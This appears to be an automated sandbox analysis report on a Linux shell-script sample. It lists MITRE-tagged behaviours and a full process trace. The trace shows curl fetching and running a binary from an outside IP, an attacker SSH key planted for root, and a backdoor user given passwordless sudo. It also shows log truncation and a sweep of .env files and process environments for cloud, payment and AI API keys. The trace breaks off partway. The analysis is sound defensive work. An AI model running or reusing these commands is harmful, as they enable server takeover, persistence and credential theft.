22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2

Analysis

max time kernel
73s
max time network
74s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/06/2026, 23:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
Size 38KB
Sample260627-3xknraes21
SHA256 22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2
MD5 70f23922c80521b134aeea51cf3a1116
SHA1 5e30ed1186eb796a56cf40e24520b79f93143451
SHA512 015b3e9a19bfc5f201b8c76bdd0a9a83f9c2bcea488495286c220797d707295eb2710a22daf20238bf9cff0e42975b765119e1136ac54888d241421c2ceddd2d
SSDEEP 768:nfc133pNd9y464571VnJ64EnIgiK2r1nSawi:f65Nd9y464p1VnJ64EnIP7SI
TLSH
T1580392B2B6609930B68DCC3CB6750D51658AA42BC4553818701EF8F49FFC698DCE8BF6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/home/prabowo/.ssh/authorized_keys	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

Modifies password files for system users/ groups 1 TTPs 4 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
759	chmod

Executes dropped EXE 24 IoCs

ioc	pid	Process
/tmp/kit	768	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	771	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	773	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	776	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	781	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	784	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	789	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	792	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	795	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	798	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	801	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	805	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	818	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	821	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	824	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	827	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	831	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	834	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	837	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	841	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	846	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	849	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	852	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	855	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 3 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
834	kit
837	kit
841	kit

Adds a user to the system 1 IoCs

pid	Process
864	useradd

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/home/prabowo/.bashrc	useradd
File opened for modification	/home/prabowo/.profile	useradd

Deletes log files 1 TTPs 3 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/nginx/access.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File truncated	/var/log/apache2/access.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File truncated	/var/log/auth.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/home/prabowo/.bashrc	useradd
File opened for modification	/home/prabowo/.profile	useradd

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/703/environ	strings
File opened for reading	/proc/71/environ	strings
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/11/environ	strings
File opened for reading	/proc/13/environ	strings
File opened for reading	/proc/9/environ	strings
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/17/environ	strings
File opened for reading	/proc/314/environ	strings
File opened for reading	/proc/317/environ	strings
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/230/environ	strings
File opened for reading	/proc/24/environ	strings
File opened for reading	/proc/373/environ	strings
File opened for reading	/proc/721/environ	strings
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/10/environ	strings
File opened for reading	/proc/5/environ	strings
File opened for reading	/proc/73/environ	strings
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/16/environ	strings
File opened for reading	/proc/23/environ	strings
File opened for reading	/proc/75/environ	strings
File opened for reading	/proc/8/environ	strings
File opened for reading	/proc/82/environ	strings
File opened for reading	/proc/659/environ	strings
File opened for reading	/proc/666/environ	strings
File opened for reading	/proc/706/environ	strings
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/18/environ	strings
File opened for reading	/proc/2/environ	strings
File opened for reading	/proc/21/environ	strings
File opened for reading	/proc/3/environ	strings
File opened for reading	/proc/316/environ	strings
File opened for reading	/proc/78/environ	strings
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/6/environ	strings
File opened for reading	/proc/667/environ	strings
File opened for reading	/proc/700/environ	strings
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	python3
File opened for reading	/proc/321/environ	strings
File opened for reading	/proc/382/environ	strings
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/14/environ	strings
File opened for reading	/proc/151/environ	strings
File opened for reading	/proc/372/environ	strings
File opened for reading	/proc/668/environ	strings
File opened for reading	/proc/72/environ	strings
File opened for reading	/proc/116/environ	strings
File opened for reading	/proc/22/environ	strings
File opened for reading	/proc/320/environ	strings
File opened for reading	/proc/36/environ	strings
File opened for reading	/proc/4/environ	strings

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
919	grep
983	grep
995	grep
1023	grep
1015	grep
1041	grep
967	grep
945	grep
1001	grep
1037	grep
925	grep
975	grep
977	grep
1054	grep
943	grep
947	grep
959	grep
997	grep
989	grep
1017	grep
1031	grep
929	grep
935	grep
941	grep
953	grep
961	grep
1019	grep
1025	grep
1039	grep
987	grep
1021	grep
1033	grep
991	grep
1011	grep
937	grep
951	grep
963	grep
1007	grep
1009	grep
965	grep
955	grep
993	grep
1003	grep
1005	grep
1027	grep
923	grep
927	grep
917	grep
931	grep
949	grep
969	grep
973	grep
981	grep
1035	grep
781	kit
939	grep
979	grep
1029	grep
921	grep
971	grep
985	grep
1013	grep
1056	grep
933	grep

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.rc_IChepm	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/~/.bash_history	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.re_aZynKZ	mktemp
File opened for modification	/tmp/.pw_hash	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.el.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.hist_all.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.kontol_miber	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rw_7XjRnQ	mktemp
File opened for modification	/tmp/~/.ssh/authorized_keys	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rk_Z0mDUo	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.kontol_miber	cp
File opened for modification	/tmp/kit	curl
File opened for modification	/tmp/.mykey_tmp	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.configs.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rw_7XjRnQ	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rc_IChepm	mktemp
File opened for modification	/tmp/.rk_Z0mDUo	mktemp
File opened for modification	/tmp/.proc_environ.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

/tmp/22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
1⤵
- Adds new SSH keys
- Executes dropped EXE
- Deletes log files
- Writes file to tmp directory
PID:706
- /bin/mktemp
  mktemp /tmp/.rc_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:710
- /bin/mktemp
  mktemp /tmp/.rk_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:713
- /bin/mktemp
  mktemp /tmp/.rw_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/mktemp
  mktemp /tmp/.re_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/hostname
  hostname
  2⤵
  PID:723
- /bin/uname
  uname -a
  2⤵
  PID:728
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:731
- /usr/bin/whoami
  whoami
  2⤵
  PID:735
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:738
- /bin/hostname
  hostname -I
  2⤵
  PID:742
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:743
- /usr/bin/cut
  cut -d: -f6
  2⤵
  PID:746
- /usr/bin/getent
  getent passwd root
  2⤵
  PID:745
- /bin/mkdir
  mkdir -p "~/.ssh"
  2⤵
  - Reads runtime system information
  PID:750
- /bin/chmod
  chmod 700 "~/.ssh"
  2⤵
  PID:751
- /bin/chmod
  chmod 600 "~/.ssh/authorized_keys"
  2⤵
  PID:752
- /bin/grep
  grep -qF prabowo-gibran "~/.ssh/authorized_keys"
  2⤵
  PID:753
- /usr/bin/curl
  curl --insecure http://193.135.9.84/k -o /tmp/kit
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod +x /tmp/kit
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /bin/grep
  grep -qiE "ELF|executable"
  2⤵
  PID:762
- /usr/bin/file
  file /tmp/kit
  2⤵
  PID:761
- /usr/bin/openssl
  openssl passwd -6 D4pur.Mbg87
  2⤵
  PID:763
- /usr/bin/python3
  python3 -c " import crypt,random,string salt='\$6\$'+''.join(random.choices(string.ascii_letters+string.digits,k=16))+'\$' print(crypt.crypt('D4pur.Mbg87',salt)) "
  2⤵
  - Reads runtime system information
  PID:764
- /bin/cat
  cat /tmp/.pw_hash
  2⤵
  PID:767
- /tmp/kit
  /tmp/kit "mkdir -p /root/.ssh"
  2⤵
  PID:768
- /tmp/kit
  /tmp/kit "chmod 700 /root/.ssh"
  2⤵
  PID:771
- /tmp/kit
  /tmp/kit "cat /tmp/.mykey_tmp >> /root/.ssh/authorized_keys"
  2⤵
  PID:773
- /tmp/kit
  /tmp/kit "chmod 600 /root/.ssh/authorized_keys"
  2⤵
  PID:776
- /bin/grep
  grep -qF prabowo-gibran /root/.ssh/authorized_keys
  2⤵
  PID:779
- /tmp/kit
  /tmp/kit "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDemH9j0b53upGjGoFq0bjFKpuGm8/++E1nCGLfk4F5y4Y9ldcS3Qw8CdB2VTof1seESU4U49cYqJ6tjuhVvdEmnM3nBsVtDvj+8RmFi6FqGS2N/9+oSXrH3e5v+Pk58VJrWzp6x9INUKCalLZaJaeGjQNopcavqdn1A/9Tu2cRzsG5x9nQZlR5tqXZFK4+1ceKdu9/VZpe/kNG6W56JzkP/2LXDzQn+fgV4k41sJe2QY85smZ3uH/rDtYIkM1SH4Galy6Kpql8weUXQ72KLK8GEiBAEr93SQJF+Cyx39AcxCldMTL8TgfYX2HIcZlttJoxeTH8hvEzFPNX/n33SHEOYSANydh0tCRlSOHrj4kGjfJl8c9xk7dPufV3GvB82f6ca6vw3L/P5jni5uJRp8/1bErUwTlf/hCfIpUdD+19j+Jw5XsMgZ5SfL7wVV5jSSIDNZh9arpawNo90VfZAOPDfky0m7Xz/yixBPruYK5LBK7oUCkNS24yxbEWlUL6sVnzdQloKZ3pOzfl2D9B4ikdB/RBgtak0QL2FPtVRdwYq5mPYJ9/VzalS4lzlJdUhe/oNvSSj/d4j1xXprFAlcNMyI2Q9vg/Eu1wKRtgp9k5Odd931iSs4FJf+gD/7+7l01+aptMo9no3wtMC+rOJi+wWCBbuTF+JB7/u3eJZIe8Ew== prabowo-gibran' > /root/.ssh/authorized_keys"
  2⤵
  - System Network Configuration Discovery
  PID:781
- /tmp/kit
  /tmp/kit "chmod 600 /root/.ssh/authorized_keys"
  2⤵
  PID:784
- /tmp/kit
  /tmp/kit "useradd -m prabowo 2>/dev/null"
  2⤵
  PID:789
- /tmp/kit
  /tmp/kit "adduser -D -s /bin/sh -h /home/prabowo -g '' prabowo 2>/dev/null"
  2⤵
  PID:792
- /tmp/kit
  /tmp/kit "echo 'prabowo:x:1001:1001:,,,:/home/prabowo:/bin/sh' >> /etc/passwd"
  2⤵
  PID:795
- /tmp/kit
  /tmp/kit "echo 'prabowo:x:1001:' >> /etc/group"
  2⤵
  PID:798
- /tmp/kit
  /tmp/kit "mkdir -p /home/prabowo"
  2⤵
  PID:801
- /tmp/kit
  /tmp/kit "chown prabowo:prabowo /home/prabowo"
  2⤵
  PID:805
- /bin/sleep
  sleep 0.5
  2⤵
  PID:808
- /tmp/kit
  /tmp/kit "mkdir -p /home/prabowo/.ssh"
  2⤵
  PID:818
- /tmp/kit
  /tmp/kit "chmod 700 /home/prabowo/.ssh"
  2⤵
  PID:821
- /tmp/kit
  /tmp/kit "cat /tmp/.mykey_tmp >> /home/prabowo/.ssh/authorized_keys"
  2⤵
  PID:824
- /tmp/kit
  /tmp/kit "chmod 600 /home/prabowo/.ssh/authorized_keys"
  2⤵
  PID:827
- /tmp/kit
  /tmp/kit "chown -R prabowo:prabowo /home/prabowo/.ssh"
  2⤵
  PID:831
- /tmp/kit
  /tmp/kit "echo 'prabowo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/prabowo"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:834
- /tmp/kit
  /tmp/kit "chmod 440 /etc/sudoers.d/prabowo"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:837
- /tmp/kit
  /tmp/kit "usermod -aG sudo prabowo 2>/dev/null || usermod -aG wheel prabowo 2>/dev/null || addgroup prabowo wheel 2>/dev/null || addgroup prabowo sudo 2>/dev/null"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:841
- /tmp/kit
  /tmp/kit "sed -i 's/^PasswordAuthentication no/PasswordAuthentication yes/i' /etc/ssh/sshd_config"
  2⤵
  PID:846
- /tmp/kit
  /tmp/kit "sed -i 's/^ChallengeResponseAuthentication no/ChallengeResponseAuthentication yes/i' /etc/ssh/sshd_config"
  2⤵
  PID:849
- /tmp/kit
  /tmp/kit "grep -q '^PasswordAuthentication' /etc/ssh/sshd_config || echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config"
  2⤵
  PID:852
- /tmp/kit
  /tmp/kit "systemctl restart sshd 2>/dev/null || systemctl restart ssh 2>/dev/null || service sshd restart 2>/dev/null || service ssh restart 2>/dev/null || rc-service sshd restart 2>/dev/null || /etc/init.d/sshd restart 2>/dev/null || /etc/init.d/ssh restart 2>/dev/null || /etc/init.d/dropbear restart 2>/dev/null"
  2⤵
  PID:855
- /bin/sleep
  sleep 1
  2⤵
  PID:859
- /usr/bin/id
  id prabowo
  2⤵
  - Reads runtime system information
  PID:862
- /usr/bin/id
  id -u
  2⤵
  PID:863
- /usr/sbin/useradd
  useradd -m prabowo
  2⤵
  - Modifies password files for system users/ groups
  - OS Credential Dumping
  - Adds a user to the system
  - Creates/modifies environment variables
  - Modifies Bash startup script
  PID:864
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:865
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:866
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:867
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:868
- /bin/mkdir
  mkdir -p /home/prabowo/.ssh
  2⤵
  PID:869
- /bin/chmod
  chmod 700 /home/prabowo/.ssh
  2⤵
  PID:870
- /bin/grep
  grep -qF prabowo-gibran /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:871
- /bin/chmod
  chmod 600 /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:872
- /bin/chown
  chown -R prabowo:prabowo /home/prabowo/.ssh
  2⤵
  PID:873
- /usr/bin/id
  id prabowo
  2⤵
  - Reads runtime system information
  PID:874
- /bin/rm
  rm -f /tmp/kit /tmp/.mykey_tmp /tmp/.pw_hash
  2⤵
  PID:875
- /usr/bin/find
  find / "(" -name .env -o -name "*.env" -o -name ".env.*" ")" -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*"
  2⤵
  - Reads runtime system information
  PID:876
- /usr/bin/strings
  strings /proc/1/environ
  2⤵
  PID:914
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:915
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/strings
  strings /proc/10/environ
  2⤵
  - Reads runtime system information
  PID:916
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/strings
  strings /proc/106/environ
  2⤵
  PID:918
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:921
- /usr/bin/strings
  strings /proc/11/environ
  2⤵
  - Reads runtime system information
  PID:920
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/strings
  strings /proc/116/environ
  2⤵
  - Reads runtime system information
  PID:922
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:925
- /usr/bin/strings
  strings /proc/117/environ
  2⤵
  PID:924
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/strings
  strings /proc/12/environ
  2⤵
  PID:926
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/strings
  strings /proc/13/environ
  2⤵
  - Reads runtime system information
  PID:928
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/strings
  strings /proc/14/environ
  2⤵
  - Reads runtime system information
  PID:930
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/strings
  strings /proc/144/environ
  2⤵
  PID:932
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/strings
  strings /proc/15/environ
  2⤵
  PID:934
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/strings
  strings /proc/151/environ
  2⤵
  - Reads runtime system information
  PID:936
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/strings
  strings /proc/16/environ
  2⤵
  - Reads runtime system information
  PID:938
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/strings
  strings /proc/168/environ
  2⤵
  PID:940
- /bin/grep
